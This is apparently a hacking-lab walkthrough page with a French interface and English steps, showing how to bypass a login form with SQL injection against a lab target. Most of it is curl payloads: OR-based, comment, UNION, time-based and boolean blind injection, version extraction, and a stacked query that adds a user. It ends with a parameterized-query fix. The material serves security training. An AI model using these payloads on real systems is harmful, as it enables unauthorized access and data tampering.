Démarrez la machine, hackez le système et trouvez les flags cachés pour compléter ce défi et gagner des points!
Lancez votre machine dédiée pour commencer à hacker
Ce guide explique comment hacker le lab et capturer les flags. Pour de l'aide avec les questions du Mode Apprentissage, utilisez le bouton Demander un Indice à côté de chaque question.
<target-ip>:80 to understand the objectives and scenario.nmap -p 1-10000 <target-ip>curl http://<target-ip>:8080/# Test with valid format but wrong credentials
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=password"# Test for SQL injection vulnerability
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'&password=test"-- can be used to ignore the rest of the query, effectively bypassing the password check entirely.# Classic OR-based authentication bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=anything"
# Alternative payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR 1=1--&password=test"
# Comment-based bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'--&password=anything"curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=test"# Using UNION injection approach
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT 1--&password=test"
# Comment out password check
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'/*&password=*/OR/**/1=1--"# Vulnerable SQL construction
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"admin' OR '1'='1 is used:# Resulting malicious query
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='test'# Time-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; WAITFOR DELAY '0:0:5'--&password=test"# Boolean-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' AND (SELECT COUNT(*) FROM users)>0--&password=test"# Extract database version
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT @@version--&password=test"# Password field SQL injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=' OR '1'='1"# Stacked query injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; INSERT INTO users VALUES('hacker','pass')--&password=test"# URL encoded payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin%27%20OR%20%271%27%3D%271&password=test"# Secure parameterized query (Python example)
import sqlite3
def authenticate_user(username, password):
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# Secure parameterized query
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not NoneCréez un compte gratuit pour démarrer votre propre serveur dédié, soumettre des flags et gagner des points au classement.
Commencer à Hacker GratuitementChoisissez comment vous voulez commencer
Connectez-vous à votre compte